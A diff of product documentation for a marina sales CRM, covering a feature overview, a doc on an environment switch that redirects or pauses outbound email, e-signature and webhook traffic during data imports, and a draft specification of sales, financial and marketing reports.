- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. Every filter (stage, lead category, outcome) applies live.
|
||||
- **Operational report** with an operational heatmap and signing-box plot — used to spot bottlenecks in the signing/operations pipeline.
|
||||
- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities are live at launch; additional entities and column-level controls roll out incrementally.
|
||||
- **Save / load / save-as templates.** Any report configuration can be saved as a named template with an optional shareable link, then re-run on demand.
|
||||
- **Scheduled runs.** Weekly, monthly, or quarterly cadences; system runs the report on schedule and (optionally) emails the recipients a branded PDF. Run history is browsable in admin.
|
||||
- **PDF exports** are server-side rendered with a branded cover page. CSV and Excel exports also available client-side from every list.
|
||||
- **Status badges** for each scheduled run so admin can see at a glance which schedules are healthy.
|
||||
- **Charts** use a mix of standard chart libraries — simple bars/lines/pies on top of a strong charting library, with heatmaps and funnels handled by a separate engine tuned for that purpose.
|
||||
|
||||
_Previously, there were no in-system reports. Staff exported NocoDB views to spreadsheets and built reporting by hand each time._
|
||||
|
||||
---
|
||||
|
||||
## 10. Admin
|
||||
|
||||
A purpose-built admin surface organised into seven domain groups.
|
||||
|
||||
- **Admin sections browser** that groups every admin page under: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability.
|
||||
- **42 dedicated admin pages** covering: AI usage caps, audit log, backups, berths, branding, brochures, custom fields, Documenso health, duplicates, email accounts, email templates, error log, forms, inquiries, invitations, monitoring, OCR, onboarding, pipeline rules, ports, "pulse" health indicators, qualification criteria, reminders, reports admin, residential stages, roles, sends log, settings, storage, tags, templates, users, vocabularies, webhooks, and website analytics.
|
||||
- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides through a visual permission matrix.
|
||||
- **Settings registry.** A single source of truth for every configurable setting, with sections for email, Documenso, storage, pipeline auto-advance, AI providers, application URLs, operations toggles, residential partner integration, and more. Settings are per-port and validated.
|
||||
- **System monitoring dashboard.** Service health, queue depth, queue detail, reconcile state — all in one place.
|
||||
- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background.
|
||||
- **Webhooks admin** for dispatching CRM events outward to external systems.
|
||||
- **Tags, vocabularies, and custom fields** that tenants can shape themselves without engineering involvement.
|
||||
- **Forms admin** for creating supplemental info-request forms (used in qualification, residential, etc.).
|
||||
- **Onboarding checklist and banner** to guide new ports through setup.
|
||||
|
||||
_Previously, "admin" meant opening the back-end data tool directly to edit rows, with no permissions model, no role assignments, no settings UI, no monitoring, and no onboarding flow._
|
||||
|
||||
---
|
||||
|
||||
## 11. Search
|
||||
|
||||
A fast, fuzzy, permission-aware global search.
|
||||
|
||||
- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links.
|
||||
- **Multiple match strategies.** Full-text search for documents, partial-word matching for names and titles, fuzzy trigram matching so "Jhon" still finds "John", canonical phone-number matching that ignores formatting differences, and direct ID lookup for paste-a-record-id workflows.
|
||||
- **Affinity ranking.** Results you've recently touched are promoted, so "your John" appears above "some other John".
|
||||
- **Cross-port super-admin pass.** Super-admin users see other-port matches in a separate, clearly-labelled section.
|
||||
- **Permission-aware.** Viewers don't see search results they couldn't open.
|
||||
- **Mobile search overlay** designed for thumb reach.
|
||||
- **Highlighted match terms** so the relevant substring jumps out in each result.
|
||||
- **Admin search across the 7 IA domains** — every admin page is reachable from the topbar with a keyword.
|
||||
|
||||
_Previously, "search" meant filtering a single NocoDB table at a time. There was no global search, no cross-entity matching, no fuzzy matching, no affinity ranking, and no admin deep-link search._
|
||||
|
||||
---
|
||||
|
||||
## 12. Activity feed & notifications
|
||||
|
||||
A unified activity feed and a notification engine for both in-app and email.
|
||||
|
||||
- **Dashboard activity widget** shows recent meaningful events across the port.
|
||||
- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page.
|
||||
- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, and so on. Historical legacy-stage events are re-mapped to the current vocabulary so the timeline reads consistently.
|
||||
- **My reminders rail** on the dashboard surfaces due and overdue follow-ups.
|
||||
- **Reminders engine** with admin configuration (cadence, severity, recipients).
|
||||
- **Alert engine.** Rule-based alerts evaluated every 5 minutes — admins define the rules; the engine generates notifications when they fire.
|
||||
- **In-app inbox** in the topbar.
|
||||
- **Hourly notification digest email** when unread items pass a threshold.
|
||||
|
||||
_Previously, there was no in-system activity feed, no reminders engine, and no rule-based alerting._
|
||||
|
||||
---
|
||||
|
||||
## 13. Analytics
|
||||
|
||||
Website analytics, email-open tracking, and outcome events feeding into a privacy-respecting analytics platform.
|
||||
|
||||
- **Website-analytics dashboard** in the CRM with: realtime visitors panel, world map of visitors, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells.
|
||||
- **Per-port project linking** to a Umami analytics project — outcome events from the CRM (EOI sent, deposit received, etc.) cross-post to the same project so marketing and sales metrics share a timeline.
|
||||
- **Email-open pixel.** Branded sends include a small open-tracking pixel; opens are recorded against the original send and surface in the send audit log.
|
||||
- **Admin → website-analytics** for configuring the link to the Umami project.
|
||||
|
||||
_Previously, website analytics lived only in the standalone analytics tool; there was no integration of marketing analytics into the sales surface._
|
||||
|
||||
---
|
||||
|
||||
## 14. Mobile & responsive design
|
||||
|
||||
Designed mobile-first; every list, sheet, and dialog is touch-friendly.
|
||||
|
||||
- **Dedicated mobile shell** when the viewport is small: a mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation.
|
||||
- **Card mode toggle on every list.** Switch lists between table and card view; card view is the default on mobile.
|
||||
- **Mobile search overlay** designed for thumb reach.
|
||||
- **Responsive tab strips** that collapse intelligently.
|
||||
- **Touch-tuned form controls.** Phone input, country picker, and timezone picker are all built for mobile keyboards.
|
||||
|
||||
_Previously, the back-end data tool the team used was not designed for phone use; staff worked from a laptop by necessity._
|
||||
|
||||
---
|
||||
|
||||
## 15. Security & compliance
|
||||
|
||||
A defensive posture across the stack.
|
||||
|
||||
- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces.
|
||||
- **CRM invitations** with a token-based admin-driven invite flow.
|
||||
- **Granular RBAC.** Per-resource, per-action permissions — applied at the service layer, not just the UI.
|
||||
- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable.
|
||||
- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview.
|
||||
- **PII masking at audit-write time.** Old metadata still expires per retention; new metadata is masked before insertion.
|
||||
- **Magic-byte PDF validation** on every upload path (both in-server and presigned-PUT).
|
||||
- **Timing-safe webhook verification** for Documenso (no leaky string comparisons).
|
||||
- **Defense-in-depth port scoping** on every aggregated query — even joins double-check `port_id` so a cross-tenant leak would have to bypass multiple checks.
|
||||
- **30-second timeouts on object-storage calls** so a slow MinIO/S3 host can't stall the application.
|
||||
- **Per-port encryption-at-rest** for SMTP/IMAP credentials.
|
||||
- **Pre-commit hooks block accidental commits of secrets** (`.env` files including `.env.example`).
|
||||
|
||||
_Previously, the public website ran public forms straight into the data store with reCAPTCHA only; there was no audit log on website-originated changes, no permission model on the public surface, no GDPR-Article-15 export tooling, and no PDF content validation._
|
||||
|
||||
---
|
||||
|
||||
## 16. Multi-tenancy at port level
|
||||
|
||||
The platform is designed from the ground up for multiple ports.
|
||||
|
||||
- **Per-port URL slug.** Each port has its own URL prefix, brand, and configuration.
|
||||
- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background.
|
||||
- **Per-port email templates** — every transactional template can be overridden per port from admin, without engineering involvement.
|
||||
- **Per-port Documenso configuration** — API version (v1 or v2), API key, signing order, redirect URL.
|
||||
- **Per-port storage backend** — choose S3-compatible or filesystem per port; switch with a single migration script.
|
||||
- **Per-port currency and timezone** flow through the scheduler, the dashboard's timezone-drift banner, the recommender's deposit defaults, and every report.
|
||||
- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets are all scoped to the port.
|
||||
- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise all queries scope to the current port.
|
||||
|
||||
_Previously, the system was effectively single-tenant — a separate deployment would have been needed to onboard a second port._
|
||||
|
||||
---
|
||||
|
||||
## What's net-new (not present in the previous system at all)
|
||||
|
||||
- A full sales CRM with kanban, list, detail, inline editing, stages, outcomes, tags, notes, scoring, and qualification — for staff.
|
||||
- Yachts, companies, and memberships as first-class entities (the previous system had no concept of these).
|
||||
- A nestable documents hub with auto-filing and cross-relationship aggregation.
|
||||
- Reports — Sales and Operational dashboards plus a custom builder, with templates and scheduled runs.
|
||||
- Global cross-entity search with fuzzy matching and affinity ranking.
|
||||
- An activity feed, reminders, alert engine, and notification digest.
|
||||
- Per-port multi-tenancy (branding, configuration, currency, timezone, Documenso, storage).
|
||||
- Granular role-based permissions with per-user overrides.
|
||||
- A comprehensive audit log surfaced in the activity feed, field-history popovers, and admin audit log.
|
||||
- GDPR Article 15 export tooling and Article 17 hard-delete with restore preview.
|
||||
- Background job queue + scheduled cron jobs for reliability.
|
||||
- Real-time UI updates across every open session.
|
||||
- Mobile-first design with a dedicated mobile shell.
|
||||
- Website-analytics dashboard inside the CRM (with email-open tracking and event cross-posting).
|
||||
|
||||
## What stays similar but is improved
|
||||
|
||||
- **Berth catalog and public berth feed.** The data the marketing site sees is the same shape it always was, served from a faster, properly-cached endpoint backed by the new database. The internal side adds versioned per-berth PDFs, brochures, a recommender, and demand heat scoring.
|
||||
- **EOI generation and Documenso signing.** EOIs still flow through Documenso, but with multi-berth ranges, configurable signing order, automation modes, idempotent webhook handling, a 5-minute polling safety net, in-product reminders and voids, external-EOI upload, and a webhook health diagnostic.
|
||||
- **Transactional email.** Still SMTP-backed, but now with per-port branded templates, configurable send-from accounts, audited sends, bounce monitoring, attachment-threshold smart handling, and rate limits.
|
||||
- **Public enquiry intake.** The website still accepts enquiries, but they now land in a managed inbox in the CRM with deduping, owner assignment, and full audit, instead of becoming raw rows in the data store.
|
||||
@@ -1,123 +0,0 @@
|
||||
# Outbound communications safety net
|
||||
|
||||
**Last reviewed:** 2026-05-03
|
||||
**Owner:** matt@portnimara.com
|
||||
|
||||
This doc enumerates every channel through which the CRM can produce
|
||||
outbound communication (email, document signing, webhooks) and describes
|
||||
how each channel respects the `EMAIL_REDIRECT_TO` env var. The goal: a
|
||||
single environment flip pauses **all** outbound traffic, so a production
|
||||
data import, dedup migration dry-run, or staging environment can run
|
||||
against real data without anyone getting paged or spammed.
|
||||
|
||||
> **Single env switch:** when `EMAIL_REDIRECT_TO` is set to an address,
|
||||
> all outbound communication is rerouted there or short-circuited. Unset
|
||||
> it in production.
|
||||
|
||||
---
|
||||
|
||||
## Channels
|
||||
|
||||
### 1. Direct email (`sendEmail`)
|
||||
|
||||
**Path:** `src/lib/email/index.ts` → `sendEmail()` → nodemailer SMTP transport.
|
||||
|
||||
**Safety:** YES — covered.
|
||||
|
||||
When `EMAIL_REDIRECT_TO` is set, `sendEmail()` rewrites the `to` header
|
||||
to the redirect address and prefixes the subject with
|
||||
`[redirected from <orig>]`. The original recipient is logged.
|
||||
|
||||
**Call sites** (all flow through `sendEmail`, so all are covered):
|
||||
|
||||
- `src/lib/services/portal-auth.service.ts` — portal activation + reset
|
||||
- `src/lib/services/crm-invite.service.ts` — CRM user invitations
|
||||
- `src/lib/services/document-templates.ts` — template-generated PDFs sent
|
||||
as attachments (the PDF body is generated locally; the email itself
|
||||
goes through SMTP)
|
||||
- `src/lib/services/email-compose.service.ts` — ad-hoc emails composed
|
||||
in the in-app UI
|
||||
- `src/lib/services/gdpr-export.service.ts` — GDPR export delivery
|
||||
|
||||
### 2. Documenso e-signature recipients
|
||||
|
||||
**Path:** `src/lib/services/documenso-client.ts` → `createDocument()` /
|
||||
`generateDocumentFromTemplate()` → Documenso REST API.
|
||||
|
||||
**Safety:** YES — covered as of 2026-05-03.
|
||||
|
||||
Documenso's own server sends the signing-request email on our behalf.
|
||||
We can't intercept that at the SMTP layer because it's external. The
|
||||
fix is at the REST-call boundary: when `EMAIL_REDIRECT_TO` is set,
|
||||
`createDocument` rewrites every recipient's email to the redirect
|
||||
address and prefixes the recipient name with `(was: <orig email>)` so
|
||||
the doc is still traceable to its intended recipient.
|
||||
`generateDocumentFromTemplate` does the same for both shapes the
|
||||
template-generate endpoint accepts (v1.13 `formValues.*Email` keys and
|
||||
v2.x `recipients` array).
|
||||
|
||||
The redirect happens **before** the API call, so even if Documenso has
|
||||
its own retry logic the original email never leaves our process.
|
||||
|
||||
### 3. Webhooks (outbound to user-configured URLs)
|
||||
|
||||
**Path:** `src/lib/queue/workers/webhooks.ts` → BullMQ job → `fetch(webhook.url, ...)`.
|
||||
|
||||
**Safety:** YES — covered as of 2026-05-03.
|
||||
|
||||
When `EMAIL_REDIRECT_TO` is set, the webhook worker short-circuits
|
||||
before the HTTP call. The delivery row is marked `dead_letter` with a
|
||||
human-readable reason so it's still visible in the deliveries listing.
|
||||
The SSRF guard remains in place independently.
|
||||
|
||||
### 4. WhatsApp / phone deep-links
|
||||
|
||||
**Path:** `<a href="https://wa.me/...">` and `<a href="tel:...">` in
|
||||
client / interest detail headers.
|
||||
|
||||
**Safety:** N/A — user-initiated only.
|
||||
|
||||
These are deep links the user explicitly clicks. No automated dispatch.
|
||||
A deep link click opens the user's WhatsApp / phone app, which is the
|
||||
intended interaction. No safety net needed.
|
||||
|
||||
### 5. SMS
|
||||
|
||||
Not implemented. The `interests.preferredContactMethod` enum includes
|
||||
`'sms'` as a value but no sending path exists. If/when SMS is added (e.g.
|
||||
via Twilio), the new send function should respect `EMAIL_REDIRECT_TO`
|
||||
the same way `sendEmail` does — log the original number, drop the
|
||||
message, or reroute to a configurable `SMS_REDIRECT_TO` env.
|
||||
|
||||
---
|
||||
|
||||
## Verification checklist before importing real data
|
||||
|
||||
- [ ] `.env` has `EMAIL_REDIRECT_TO=<my-address>` set.
|
||||
- [ ] Restart dev server (or worker) so the new env is picked up — env
|
||||
vars are read at import time in some paths.
|
||||
- [ ] Send a test email via `pnpm tsx scripts/dev-trigger-portal-invite.ts`
|
||||
or similar. Confirm subject is prefixed with `[redirected from ...]`.
|
||||
- [ ] Trigger an EOI send through the UI (any client). Confirm Documenso
|
||||
shows the redirect address as recipient (not the real client email).
|
||||
- [ ] If any webhooks are configured, trigger an event that fires one and
|
||||
confirm the delivery is recorded as `dead_letter` with the
|
||||
"EMAIL_REDIRECT_TO is set" reason.
|
||||
- [ ] Run the NocoDB migration `--dry-run` to count clients/interests; the
|
||||
`--apply` step is what creates real records but emails/webhooks are
|
||||
still gated by the redirect env.
|
||||
|
||||
## Production cutover
|
||||
|
||||
When ready to go live:
|
||||
|
||||
1. Run a final dry-run of the data migration with `EMAIL_REDIRECT_TO` set
|
||||
to a sandbox address.
|
||||
2. Verify the snapshot looks right (counts, client coverage).
|
||||
3. Unset `EMAIL_REDIRECT_TO` in the production env.
|
||||
4. Restart the app + worker.
|
||||
5. Run the migration with `--apply`. From this point forward, real
|
||||
recipients will receive real comms.
|
||||
|
||||
If you ever need to re-pause outbound (e.g. handling a security incident,
|
||||
re-importing on top of existing data), set `EMAIL_REDIRECT_TO` again.
|
||||
@@ -1,524 +0,0 @@
|
||||
# Reports — content spec (draft for review)
|
||||
|
||||
> Source of truth for what each report category will contain. Driven by
|
||||
> the actual data we have in the schema; nothing here is aspirational
|
||||
> data we'd need to start collecting. Once locked, this drives the
|
||||
> builder implementations.
|
||||
|
||||
---
|
||||
|
||||
## Raw materials — data we already capture
|
||||
|
||||
The proposals below are bounded by what we already store. A quick map of
|
||||
the load-bearing fields per entity:
|
||||
|
||||
### `interests` (the sales pipeline source of truth)
|
||||
|
||||
- `pipelineStage` — one of 7 canonical stages
|
||||
- Per-stage timestamps: `dateFirstContact`, `dateLastContact`,
|
||||
`dateEoiSent`, `dateEoiSigned`, `dateReservationSigned`,
|
||||
`dateContractSent`, `dateContractSigned`, `dateDepositReceived`
|
||||
- `outcome` (won/lost variants), `outcomeReason`, `outcomeAt`
|
||||
- `source` (website/manual/referral/broker), `leadCategory`
|
||||
(general/qualified/hot)
|
||||
- `assignedTo` (rep), `clientId`, `yachtId`
|
||||
- `depositExpectedAmount` + currency
|
||||
- Per-doc status fields: `eoiDocStatus`, `reservationDocStatus`,
|
||||
`contractDocStatus` (pending/sent/signed/declined/voided)
|
||||
- `archivedAt`
|
||||
|
||||
### `interest_berths` (multi-berth pipeline)
|
||||
|
||||
- `is_primary`, `is_specific_interest`, `is_in_eoi_bundle`
|
||||
- One interest can target N berths; status of those berths drives
|
||||
"Under Offer" public flag
|
||||
|
||||
### `berths`
|
||||
|
||||
- `status` (available/under_offer/sold)
|
||||
- `area`, `mooringNumber`
|
||||
- `price`, `priceCurrency`
|
||||
- `lengthFt/widthFt/draftFt` + metric counterparts
|
||||
- `tenureType`, `tenureYears`, `tenureStartDate`, `tenureEndDate`
|
||||
- `statusLastModified`, `statusLastChangedReason`
|
||||
|
||||
### `tenancies`
|
||||
|
||||
- `status` (pending/active/ended/cancelled)
|
||||
- `startDate`, `endDate`, `tenureType`
|
||||
- Links to `berthId`, `clientId`, `yachtId`, `interestId`
|
||||
- `previousTenancyId` (chain), `transferredFromTenancyId`
|
||||
|
||||
### `clients`
|
||||
|
||||
- `nationalityIso`, `preferredContactMethod`, `source`
|
||||
- `createdAt`, `archivedAt`
|
||||
- `clientContacts` (email/phone/whatsapp values)
|
||||
- `clientNotes`, `clientTags` (categorisation)
|
||||
|
||||
### `invoices` + `payments` + `expenses`
|
||||
|
||||
- Invoices: status (draft/sent/paid/overdue/cancelled), `total`,
|
||||
`subtotal`, `currency`, `dueDate`, `paymentDate`, `paymentTerms`,
|
||||
`kind` (general/deposit), linked `interestId`
|
||||
- Payments: amounts, dates, method, linked invoice
|
||||
- Expenses: `amount`, `amountUsd`, `category`, `paymentStatus`,
|
||||
`expenseDate`, `establishmentName`, `payer`
|
||||
|
||||
### `documents` + `document_signers` + `document_events`
|
||||
|
||||
- Send timestamps, sign timestamps, status per signer
|
||||
- Document type, template id
|
||||
- Full event audit (sent/viewed/signed/declined per recipient)
|
||||
- `signedFileId`, `currentPdfVersionId`
|
||||
|
||||
### `websiteSubmissions` (inquiry intake)
|
||||
|
||||
- Source page, UTM-style attribution columns, raw payload, conversion
|
||||
state (linked to which interest / client / berth)
|
||||
- `convertedAt`, `convertedToInterestId`
|
||||
|
||||
### `audit_logs`
|
||||
|
||||
- Every entity mutation with `action`, `actor`, `oldValue`, `newValue`,
|
||||
`createdAt` — full timeline of who-changed-what
|
||||
|
||||
### Already-aggregated data (existing dashboard endpoints we can reuse)
|
||||
|
||||
- `/api/v1/dashboard/forecast` — revenue forecast by stage × probability
|
||||
- `/api/v1/dashboard/pipeline` — count + value per stage
|
||||
- `/api/v1/dashboard/hot-deals` — high-pulse deals
|
||||
- `/api/v1/dashboard/tenancy-occupancy` — occupancy timeline by area
|
||||
- `/api/v1/dashboard/tenancy-revenue` — recognised revenue by month
|
||||
- `/api/v1/dashboard/tenancy-renewals` — upcoming renewals
|
||||
- `/api/v1/dashboard/tenancy-tenure` — tenure distribution
|
||||
- `/api/v1/dashboard/source-conversion` — funnel by source
|
||||
- `/api/v1/dashboard/clients-by-country` — geographic distribution
|
||||
- `/api/v1/dashboard/berth-status` — status mix
|
||||
- `/api/v1/dashboard/berth-heat` — recommender heat scores
|
||||
- `/api/v1/dashboard/activity` — activity feed
|
||||
- `/api/v1/dashboard/kpis` — top-line numbers
|
||||
|
||||
---
|
||||
|
||||
## Cross-cutting capabilities (apply to every report)
|
||||
|
||||
- **Date range filter** — preset (last 7d / 30d / quarter / year / YTD)
|
||||
plus custom range picker.
|
||||
- **Period comparison** — toggle to show "this period vs prior period"
|
||||
(same length window immediately before). Drives delta arrows on KPI
|
||||
cards.
|
||||
- **Rep / assignee filter** — multi-select. Defaults to "all". For
|
||||
ports with one rep this is hidden.
|
||||
- **Source filter** — multi-select on `source` (website / referral /
|
||||
broker / manual). Defaults to "all".
|
||||
- **Currency normalization** — money values render in port-default
|
||||
currency; underlying records may be USD/EUR/etc., conversion already
|
||||
exists on expenses and can be extended to invoices.
|
||||
- **Empty state** — every report renders gracefully on a port with no
|
||||
data yet (e.g. fresh deploys) with a "this report needs data first"
|
||||
hint pointing at the right onboarding step.
|
||||
|
||||
---
|
||||
|
||||
## Report 01 — Sales performance ✅ LOCKED 2026-05-27
|
||||
|
||||
**Purpose:** answer "how is the sales team doing, who is doing the
|
||||
work, where are deals stuck."
|
||||
|
||||
### KPI strip (7 tiles)
|
||||
|
||||
| # | Tile | Formula | Notes |
|
||||
| --- | --------------------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **Active interests** | `count(interests) WHERE archivedAt IS NULL AND outcome IS NULL` | All stages incl. nurturing |
|
||||
| 2 | **Won this period** | `count(interests) WHERE outcome='won' AND outcomeAt IN range` | |
|
||||
| 3 | **Lost this period** | `count(interests) WHERE outcome LIKE 'lost_%' OR outcome='cancelled' AND outcomeAt IN range` | **Breakdown chip:** `Lost: 8 (3 to competitor · 2 unqualified · 2 no-response · 1 cancelled)` |
|
||||
| 4 | **Win rate** | `won / (won + lost_*) × 100%` — excludes `cancelled` | Render `—` when denom = 0. Period-over-period delta arrow when comparison toggle is on (`↑ +12pp`) |
|
||||
| 5 | **Pipeline value** | `Σ ((berth.price OR depositExpectedAmount) × STAGE_WEIGHTS[stage])` for active interests | Berth price used when an `is_primary` interest_berth is set; else depositExpectedAmount; else 0. Currency normalised to port-default. Footnote: "X of Y interests have no value and aren't included." |
|
||||
| 6 | **Avg time-to-close** | `median(outcomeAt - dateFirstContact)` for won deals in window | Adaptive unit: days (<60) / weeks (<24) / months. Skip interests with null `dateFirstContact`; footnote "based on N of M won deals." |
|
||||
| 7 | **New leads** | `count(interests) WHERE createdAt IN range` — **includes archived** | **Breakdown chip:** `New leads: 24 (10 website · 8 referral · 4 broker · 2 manual)` |
|
||||
|
||||
### Charts (5)
|
||||
|
||||
1. **Pipeline funnel** (echarts horizontal funnel)
|
||||
- **Frame:** counts per stage, all 7 stages including `nurturing` as its own step
|
||||
- **Active interests only** (`archivedAt IS NULL AND outcome IS NULL`)
|
||||
- **Drop-off label** on each connector: `Enquiry 24 → Qualified 12 (−50%)`
|
||||
|
||||
2. **Stage velocity** (recharts horizontal bar)
|
||||
- Median days in each stage + faint p90 mark per bar
|
||||
- Source: `audit_logs WHERE action='interest.stage_changed'` for transition timestamps
|
||||
- Exclude stages with no exits yet (interests still sitting there)
|
||||
|
||||
3. **Win rate over time** (recharts line + faint area underlay)
|
||||
- Line: win rate per bucket
|
||||
- Underlay: total deals closed per bucket (gives volume context)
|
||||
- **Bucket granularity (auto):** weekly ≤6mo · monthly ≤2yr · quarterly beyond
|
||||
- Sparse buckets render as gaps, not zero
|
||||
|
||||
4. **Source → win conversion** (recharts stacked horizontal bar)
|
||||
- One bar per source (website / referral / broker / manual)
|
||||
- Segments coloured by outcome (won / lost-\* / cancelled / in-flight)
|
||||
- PDF-friendly (no sankey)
|
||||
|
||||
5. **Rep leaderboard** (table with embedded mini-bars)
|
||||
- Columns: rep · new · won · lost · in-flight · pipeline value · win rate · avg time-to-close
|
||||
- Sortable by any numeric column
|
||||
- **Single-rep collapse:** when only one rep has deals in the window, skip this chart and render the Rep performance detail (Table 1) directly
|
||||
- **Attribution:** current `assignedTo` gets full credit; tooltip flags deals that were reassigned mid-cycle
|
||||
|
||||
### Deal heat section (between leaderboard and tables)
|
||||
|
||||
Folded-in pulse data from existing dashboard infrastructure.
|
||||
|
||||
- **Hot deals count** — KPI-style tile, count of interests above `pulse_label_hot` threshold
|
||||
- **Pulse distribution** — 3-segment horizontal bar (hot / warm / cold counts)
|
||||
- **Hottest deals right now** — top 5 by pulse score: client · stage · value · pulse · rep
|
||||
|
||||
### Tables (5)
|
||||
|
||||
1. **Rep performance detail** — leaderboard columns + expandable open-deals list per rep
|
||||
- Open deals list columns: client · primary berth · stage · stage value · days in stage · last contact
|
||||
- **Web:** collapsed by default, expand chevron
|
||||
- **PDF:** always rendered inline (no expander affordance possible in print)
|
||||
|
||||
2. **Stalled deals** — active interests not contacted within stage-aware thresholds
|
||||
- **Thresholds:** enquiry 21d · qualified 14d · nurturing 60d · eoi 10d · reservation 7d · deposit_paid 7d · contract 5d (admin-configurable later)
|
||||
- Columns: client · stage · days since last contact · days in stage · value · rep · quick "log contact" button
|
||||
- Sort: stage value desc (most valuable stalled deals first)
|
||||
- **Null `dateLastContact`** → treat as never contacted → always stalled
|
||||
|
||||
3. **Closing this month** — late-stage active deals (`reservation` / `deposit_paid` / `contract`) sorted by stage value desc
|
||||
- The inverse of stalled; the "don't drop these" list
|
||||
- Same columns as stalled minus the "days since contact" column
|
||||
|
||||
4. **Recent wins** — last 5 won deals, celebratory strip
|
||||
- Columns: client · primary berth · final value · days to close · rep
|
||||
- Source: `interests WHERE outcome='won' ORDER BY outcomeAt DESC LIMIT 5`
|
||||
|
||||
5. **Lost-reason breakdown** — detail of the KPI 3 chip
|
||||
- Columns: outcome reason · count · total value lost · avg days from first contact to loss
|
||||
- Source: group `interests WHERE outcome LIKE 'lost_%' OR outcome='cancelled'` AND outcomeAt IN range by `outcome`
|
||||
|
||||
### Filters
|
||||
|
||||
- **Cross-cutting** (every report): date range preset/custom, period comparison toggle, rep multi-select (hidden when 1 rep), source multi-select (hidden when 1 source)
|
||||
- **Sales-specific:**
|
||||
- **Stage filter** — restrict funnel + tables to subset of stages
|
||||
- **Lead category filter** — general / qualified / hot
|
||||
- **Outcome filter** — won / each lost-reason variant (mostly for the lost-reason breakdown post-mortem)
|
||||
|
||||
### Currency handling
|
||||
|
||||
- All monetary values render in port-default currency (per branding settings)
|
||||
- Underlying records can be in any currency; convert at render time
|
||||
- Render with thousand-separator + currency symbol (e.g. `€1,250,000`)
|
||||
|
||||
---
|
||||
|
||||
## Report 02 — Financial
|
||||
|
||||
**Purpose:** answer "what revenue did we collect, what's outstanding,
|
||||
where is the cash flow going."
|
||||
|
||||
### KPI strip
|
||||
|
||||
| Metric | Source | Notes |
|
||||
| ----------------------------- | ---------------------------------------------------------------------------------- | --------------------------------- |
|
||||
| Revenue collected | Σ `invoices.total WHERE paymentStatus='paid' AND paymentDate IN range` | Sum across currencies, normalised |
|
||||
| Pipeline (forecasted revenue) | Existing dashboard `forecast` endpoint | Σ deposit_expected × stage weight |
|
||||
| Deposits collected | Σ `invoices.total WHERE kind='deposit' AND status='paid' AND paymentDate IN range` | |
|
||||
| Outstanding AR | Σ `invoices.total WHERE status IN ('sent','overdue') AND archivedAt IS NULL` | |
|
||||
| Overdue AR | Σ above filtered to `dueDate < today` | |
|
||||
| Expenses (period) | Σ `expenses.amountUsd WHERE expenseDate IN range AND archivedAt IS NULL` | USD-normalised |
|
||||
| Net contribution | revenue - expenses | Optional |
|
||||
|
||||
### Charts
|
||||
|
||||
1. **Revenue by month** (bar chart) — Stacked by `kind` (general vs
|
||||
deposit). 12 months trailing window default.
|
||||
2. **Revenue by quarter / year** (toggleable granularity) — Same data,
|
||||
different bucket.
|
||||
3. **Funnel: EOI → Deposit → Contract → Revenue** (funnel chart,
|
||||
echarts) — Counts at each stage in the period to highlight leakage.
|
||||
4. **AR aging** (stacked horizontal bar) — Buckets: current, 1-30,
|
||||
31-60, 61-90, 90+. Per bucket: count + total value.
|
||||
5. **Cash flow** (line chart, two series) — Inflow (payments received)
|
||||
and outflow (expenses paid) over time.
|
||||
6. **Expense breakdown** (donut) — By `category` for the period.
|
||||
|
||||
### Tables
|
||||
|
||||
1. **Outstanding invoices** — Invoice #, client, due date, days
|
||||
overdue, amount, payment terms. Sort by overdue desc.
|
||||
2. **Recent payments** — Date, invoice, client, amount, method.
|
||||
3. **Refund / write-off log** — Cancelled invoices with reasons.
|
||||
4. **Expense ledger** — Date, payer, category, amount, payment status,
|
||||
linked trip.
|
||||
|
||||
### Filters
|
||||
|
||||
- Invoice kind (deposit / general)
|
||||
- Payment status
|
||||
- Currency
|
||||
- Billing entity type (client / company)
|
||||
|
||||
---
|
||||
|
||||
## Report 03 — Marketing & funnel
|
||||
|
||||
**Purpose:** answer "where are leads coming from, which sources are
|
||||
worth the marketing spend, where do we lose people in the funnel."
|
||||
|
||||
### KPI strip
|
||||
|
||||
| Metric | Source | Notes |
|
||||
| -------------------------------- | ------------------------------------------------------------------- | ---------------------- |
|
||||
| Inquiries this period | `count(websiteSubmissions WHERE createdAt IN range)` | |
|
||||
| Inquiries → interest conversion | `count(websiteSubmissions WHERE convertedAt IN range) / count(...)` | % |
|
||||
| Inquiries → EOI conversion | Same with `interest.dateEoiSent NOT NULL` | |
|
||||
| Inquiries → won conversion | Same with `interest.outcome='won'` | |
|
||||
| Top source | `source` with highest converted count | Card with name + count |
|
||||
| Avg time inquiry → first contact | Median(`interest.dateFirstContact - websiteSubmission.createdAt`) | Hrs / days |
|
||||
|
||||
### Charts
|
||||
|
||||
1. **Inquiries by source** (donut + bar) — Count per source for the
|
||||
period.
|
||||
2. **Source ROI** (stacked horizontal bar) — Per source: total count,
|
||||
won count, won value. Sort by value desc.
|
||||
3. **Funnel: Inquiry → Qualified → EOI → Reservation → Won** (vertical
|
||||
funnel) — Conversion at each stage.
|
||||
4. **Conversion trend** (line chart) — Inquiry → won conversion %
|
||||
plotted weekly.
|
||||
5. **Country of origin** (geo map via `react-simple-maps`, already
|
||||
